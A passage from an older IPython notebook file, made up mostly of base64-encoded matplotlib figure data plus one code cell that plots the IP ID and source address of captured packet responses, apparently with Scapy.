fprKkAAAZuSURBVLN27Vp2795N3759ef755x3dpMs6dOgQnTt3pl+/fjz66KNV4u9XqjanCx4B\\nAQH88MMPABw5coSzZ89Wqn84zp49m18Ovm7dumRnZ5OTk+PgVl2Zdu3asXr1agCWLl2a321bWXzy\\nySd88MEH2Gw2Gjdu7OjmXBE/Pz927NhBTEwMn332GS1atGDSpEmObtYVCQgIyJ8XsXr1alq2bOng\\nFl2Zc+fO4enpCUDDhg05ffq0g1tUvOTkZLp168abb75J//79gcr/9ytVX6n2aqlIPXr0YM2aNbRv\\n357c3FymTJmCi4uLo5tVasOHD+eJJ54gMDCQ7OxsXn/9daefY5An7+c8ceJEnn76abKysmjRogW9\\ne/d2cMtKx8XFhdzcXJ599lkaNWpEr169AAgODiYyMtKxjSuFwr/nxphK9btf8PdnwIABTJ06FW9v\\nb+bNm+fglpVOXvtnzZpF7969qV27Nu7u7sycOdPBLSve+PHjSU1NZezYsflzPd59912GDh1a6f5+\\npfpQATERERGpME431CIiIiJVl4KHiIiIVBgFDxEREakwCh4iIiJSYRQ8RKRKWrhw4WULEObm5nLf\\nffcxffp0wFpFdMsttxAaGkpoaCgvv/zyReePHz+eRx99NP/r4cOH06lTJ9q3b8+sWbMA+Ne//pX/\\n+mbNmtGxY0cAvvvuO9q3b0+nTp3yz50zZ07+uR06dMDDw4O0tLQr2uvm4MGDhIaGEhQURK9evZx6\\n6a9IPiMiUsUMHTrUNGvWzDz66KPFnjNixAjToUMHM336dGOMMfv27TP3339/kecuWbLE+Pv757/f\\nqlWrTK9evYwxxmRmZhpfX19z+vTp/POzs7PNPffcY3bs2GGysrLyn8/KyjJ+fn4mOTn5ovd/5pln\\nzMyZM40xxkRERJgvvvjCGGNMTEyM+e6774q9ht69e5v58+cbY4yZNWuWefbZZy/7cxFxBurxEJFK\\nLzIyMr/nAqytC6ZOnVrsXjdffvklNWrUIDw8PP+cLVu28Pvvv9O5c2d69OjB3r17AWu35hkzZjBm\\nzJj8czt16sSHH36Y/345OTm4ubnlf/3ee+8RFhbGn//8Z3bv3o2vry916tTBzc2NgIAA1qxZk3/u\\n5s2b2blzJwMGDACK3+smKiqKTp064e/vT1RUFAC7du3ivvvu+//t3b9LI10YxfGvaBQUGRWbKPgD\\nRQMqWAoqEgIGBBvB2AxYCFpoaaLGQrRIISS2MY2KhZBKLBQlCAb8AwSxGAW1CVglGIKiIFssDptd\\nl31h3x1c9nzKJPcm3OowmXmO/ZveB4eJfGYKHiLy10omk3i9XnZ2dojFYni9XlKpFIFA4KdrLi8v\\n2dvbY21trSiYNDQ0EA6HOT09JRwOY5omhUKB2dlZNjc3KS0ttT9bUVFBTU0Nr6+vTE5OMjMzQ2Vl\\nJQAvLy8kEgnm5+cBeHx8xDAMe211dXVRf0okEikacPdR183V1RXJZJLz83PS6TT7+/tYlkVvb6/d\\nPntwcEChUPi9AxVxwKebXCoi8l8FAgECgQCrq6u43W6mp6d/uWZ3d9e+snF3d0d5eTmtra0MDg7a\\nZXH9/f1kMhmOj495eHhgYmKCXC5HJpNhfX2dUChENptlfHwcr9fLwsKCvX8qlWJoaMgeu24YBvl8\\n3n4/n89TW1sLQC6Xw7KsoiK677tulpeX6e7u5v7+3r76kcvluLm5IRqNMjc3x9bWFiMjI9TX1//m\\niYr8eQoeIvJP+bYt9z2wDA8Ps7S0RF1dHcFgkIuLC5qamhgbG7NH75+dnRGPxwmFQjw9PeHz+QgG\\ng0U3nMLX4PH+9weAx+Ph+vqabDZLVVUV6XSaYDAIQDqdxufzFa1/77oxTdPuuuns7KSrq4ujoyMA\\nYrEYPT09nJycEIlE6OjoIBqN4vf7/8iZifyfFDxE5K+3srLyw2slJSVFXTcbGxu0t7czOjr64R6L\\ni4uYpsnh4SFlZWVsb29/uCdAPB7n9vaWRCJBIpEAvj6l0tzcjGVZdmEbgMvlIhaL4ff7eXt7Y2pq\\nCrfbDYBlWbS1tRV9x0ddN4Zh4PP5GBgY4Pn5mb6+PhobG/F4PJimicvloqWlxX5iRuQzU1eLiIiI\\nOEY3l4qIiIhjFDxERETEMQoeIiIi4hgFDxEREXGMgoeIiIg4RsFDREREHKPgISIiIo5R8BARERHH\\nfAF06XGfj0wwrAAAAABJRU5ErkJggg==\\n\",\n       \"text\": [\n        \"<matplotlib.figure.Figure at 0x7f126c1f6410>\"\n       ]\n      },\n      {\n       \"metadata\": {},\n       \"output_type\": \"pyout\",\n       \"prompt_number\": 6,\n       \"text\": [\n        \"[[<matplotlib.lines.Line2D at 0x7f126c35ac90>],\\n\",\n        \" [<matplotlib.lines.Line2D at 0x7f126c35af10>]]\"\n       ]\n      }\n     ],\n     \"prompt_number\": 6\n    },\n    {\n     \"cell_type\": \"code\",\n     \"collapsed\": false,\n     \"input\": [\n      \"ans.multiplot(lambda p, q: (q[IP].src, q[IP].id))\"\n     ],\n     \"language\": \"python\",\n     \"metadata\": {},\n     \"outputs\": [\n      {\n       \"metadata\": {},\n       \"output_type\": \"display_data\",\n       \"png\": \"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\\n9TV5nn76aUaOHMndd1/578rSXleSKh08dp/cTXP